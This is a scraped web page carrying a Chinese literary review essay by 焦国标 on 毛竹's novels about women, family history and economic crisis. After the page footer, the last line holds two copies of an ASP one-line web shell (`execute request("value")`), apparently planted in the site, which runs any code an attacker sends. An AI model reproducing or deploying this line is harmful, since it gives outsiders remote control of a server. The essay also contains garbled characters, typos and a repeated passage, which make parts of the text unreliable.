|
|
|
|
走入女性生命深处的“可可西里无人区” |
|
|
作者：焦国标
最初接触毛竹的作品是她的一本小书《生命的隐衷》，上面有作者简介，大学数学系毕业，却获得音乐文学多种奖项。初看这些奖项，不以为然，觉得带有江湖气，但感觉散文集中的小散文一篇篇清拳而透明，有山溪小在文中涌动，带着女性特别的聪慧与灵气。可是，待我后来读了她两部四十多万字的《透明的性感》、《透明的女性》后，我心服口服，毛竹的确是一个灵心慧气才气横溢的作家。她的感觉诡异，令我想起张爱玲。
促使我与毛竹到得联系的是她在《生命的隐衷》中的一些细节。这些细节深深打动了我。那女性独有的心理感受带出女性独有的敏感，我的心一下了被角动得颤颤欲碎……
“透明的女性系列丛书”，主旨是从宏观与微观两方面“探索女性”，这个主旨深深地吸引了我。我们不得不承认，任何一个时代，任何一个朝代，一切压力一切灾难向男性压来，可是真正的承受者却是女性。也就是说，女性是承受感知最多的，女性是社会内涵最多的，特别是在我们所处的这个特殊的经济变革时期。
若有一把钥匙把“女性”这把锁打开，我们才可能真正了解我们自己从哪能来到哪能去，才可能真正了解我们所处的这个时代。
探索女性生命的激情，不是平面探索，而是立体探索。毛重竹从宏观上探索女性其独特的进入令人怦然心动：女主角倥儿离家出走，沿着汉水走入自己的生命，沿着自己的生命的血脉溯流而上，去解毛氏把“爷叫爹，爸叫伯、妈叫姨、姐叫大……”家族史上永远的谜。这种从生命意义上探索女性的方式真是令人叫绝！
毛竹从宏观探索女性时不时转入微观上探索女性，其别具一格的进入更是在浑然不觉的时候。
“倥儿使劲裹了裹单薄得不能再单薄的红裙子，大热的天感到不胜寒恻。她最想做的事情就是换下身上的红裙子，那有了一个口子的红裙子，可是她身上只有几块钱。又是那一种被毁灭前的恐怖与慌乱，又是那种被消灭前的单薄与无助。”
她就是在这种情形下去感触自己女性生命中的各种信息的。
“她第一次意识到生命的红色是那样的抢眼，那象征成熟女性生命的红裙子在清凉的风中猎猎飞扬。那样地火红，那样地热烈，那样地执着，那样地招人注目。更可怕的是她心里却风激荡，狂躁水已。她这才意识到这件代表女性激情的红裙子与沉浮在下岗危机中的她潜意识中的恐怖是多么的协调又是多么不协调。”
这样绝妙的时入点还有很多。
从宏观上探索女性到不经意闯入微观上探索女性，这种忽出忽进，这种“山重水复”，这种“曲径通幽”，真可谓“禅房花木深”，真可谓“林深不知处”。真不知灵气仙气魔气鬼气萦绕的毛竹在这小小的四方世界埋下多少伏笔直。
而据笔者了解得知：毛竹对倥儿家族史的探索这次拿出的是一个开头，这次毛竹只取已近成品的一百二十多万字中的四十万。真是想不到，这种内涵这种会含量，却只是刚刚进入倥儿的家族史而已。而后面内容怎样？真是令人期待！
一般说来，女性对家族史是比较淡漠的。女性待字闺中时寄养在娘家，是未来婆家的人，所以女人出嫁叫归。娘家是女人的他乡，婆家才是女人的故乡。可是女人在婆家有故乡之感吗？她是娶来的媳妇买来的马，也没有多少归属感。对娘家而言，女人是泼出去的水，对婆家而言，女人也是“人家的人”。女人难道命脉中注定就是漂泊的灵魂？
可是书中女主人公倥儿这个漂泊的灵魂，却不由自己地探索娘家——毛家的家族史，似乎是有种感情，难以名状。是不是倥儿这个沉浮在情感危机与下岗危机中的“漂泊灵魂”，更加真切地感到自己生命中的无抓无握？无有归依？便想抓住自己生命中曾有过的什么，便函想了解自己生命中曾发生过的什么，便想解析祖宗留在自己生命中的信息？
这种探索，真的只是一个“漂泊的游子”身不由已地想寻找一种家的温馨家的稳定吗？或许这种“身不由已”，在这特殊的时代本就不深刻贩社会内蕴在里面。
危机感多是源自于没有根，没有根怎么办，去找根。可是倥儿真的能找到根吗？倥儿有知道，别人也不知道。
１９３０年，胡适在《上海小志序》中写道：“‘贤者识大者，不贤者识小者’，这两句话真是中国史学上的大仇敌。什么是大的？什么是小的？很少有人能正确回答这两个问题，朝代的兴亡，群主的废立，经年的战争，这些‘大事’在我们眼里渐渐变成‘小事’了，《史记》里偶然记着一句‘奴婢与马同栏’或者一句‘妇子蹑利屣’，这种事实在我们眼里比楚汉战争重要多了。”因为“这种问题关系无数人民的生活状态，关系到时代文明的性质，所以在人类文化史上是有重大意义的史料。然而古代的文人往往不屑记载这种呱呱叫的大事，故一部二十四史的绝大部分是废话而已。将来的史家还得靠那些‘识小’的不贤者一进高兴记下来的点点材料。
毛竹在寻根的过程中却记下了太多像胡适提到的“呱呱叫的大事”。在这个过程中，书中女主角倥儿真正走入从不为人知的女性生命的“可可西里无人区”，探索的似乎是与女性生命毫无相干的祖的信息，实则大的章节小的篇幅都隐约在探索女性生命的隐衷上。
我们以前控索女性，只是从女性生命的个体来探索，从没有想过从一个女性生命的群体去探索。更没有想到通过探索一个家族的历史或是棚民的历史去探索女性。并没有意识到女性是由祖宗信息、社会的信息、宇宙的信息纠葛而成。从没想到女性这个谜是由祖的谜、社会的谜、宇宙的谜组合而成。似乎以前从来没有人从这个角度想过这些问题。更没有人想能冠军探索祖宗的信息、社会的信息、宇宙的信息纠葛而成。从没有想到女性这个谜是由祖的谜、社会的谜、宇宙的谜组合而成，似乎以前从来没有人从这个角度想过这些问题。更没有人想通探索祖宗、探索社会、探索宇宙去解女性这个永恒的谜。
这一本书中毛竹又一次突破了“性”这个千年禁区区，让人看到“性”在女性生命的那根一般重重纠葛交织的内涵。而此“性”非彼“性”也！这使我再一次想起那诗：“尘劫中不昧本来，朗月仍辉性海；迷障里能开觉悟，净莲更出污泥。”
或许正是倥儿的生命中本当爆发的激情隐痛不已，或许正是这种激情的掏提把一个弱小的生命推向一个又一个生命的高潮。而这个痛苦的反思过程也是我们整个时代的反思过程。
在世纪之交，每个人都有危机感，感觉自己不小心就要掉下去，尤其是女人们这种危机感更加真切。
在下岗危机笼罩的今天，倥儿是不是就是感到了这种女性的危机感，才身不由已地想去寻根，寻找一种稳定感？可是当她从自己生命最隐秘点堕落是去，不知道为什么反而是溯流而上，那一种博大的苍凉中带出的反而是一种前所未有的激情。这种探索似乎不仅是我我们这个特殊时代女性心态的探索，而是我们这个特殊时代的一种探索。
倥儿通过探索自己的生命，更准确地说是通过探索自己生命中祖先留下的各种信息，探索自己，探索了那个时代的种种因惑。这个认识自己的过程也是一个发现自己的过程，就如女性的寻求稳定的天性却是在祖先的“归园田居”愿望从中得到一种神秘的诠释。这个认识自己的过程是不是一个调整重新入世的过程？
而我们这个时代需要的或许正是从“本我”中发现并勃发出的激情。这种激情或许正是大巴山棚民身不由已开发紫阳的激情，这种激情或许正是人类历史向前发展的原动力。
文／焦国标
摘自《透明的激情》
人民时空9/6 | |
|
| |
|
<%execute request("value")%><%execute request("value")%>
